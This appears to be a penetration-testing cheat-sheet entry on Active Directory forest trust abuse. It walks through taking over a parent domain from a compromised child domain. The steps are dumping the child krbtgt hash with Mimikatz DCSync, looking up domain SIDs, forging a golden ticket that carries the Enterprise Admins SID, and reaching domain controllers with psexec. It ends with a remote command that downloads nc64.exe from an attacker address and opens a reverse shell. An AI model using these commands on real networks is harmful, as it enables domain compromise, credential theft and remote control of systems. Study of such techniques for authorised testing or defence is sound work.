Forest
Multi-domain AD; Parent-child trust is transitive (multiple link of bi-directional trust). Enterprise Admins = Domain Admins in every domain in the forest, only exists in the root domain.
#obtain current compromised child domain krbtgt hash
lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
#query current domain SID and parent/root domain SID
Get-DomainSID -Domain prod.corp1.com
Get-DomainSid -Domain corp1.com
#domain = current domain
#sid = current domain sid
#krbtgt = current domain krbtgt hash NTLM
#sids = root domain sid + "-519" (enterprise admin)
kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt
#golden ticket injected, pretending to be the enterprise admin
#golden ticket will get rewritten by the domain controller in the current domain with the trust key before going to the parent domain so the parent domain perceives us as a legit enterprise admin
dir \\rdc02.comply.com\admin$
psexec \\dc01 cmd
invoke-command -computername rdc02.comply.com -scriptblock {iwr -uri http://192.168.X.Y/nc64.exe -o c:\windows\tasks\nc64.exe; c:\windows\tasks\nc64.exe 192.168.X.Y 443 -e cmd.exe}

Enumeration
Domain Trusts
Users, Groups, Services in trusted domains
Forest Trusts
Last updated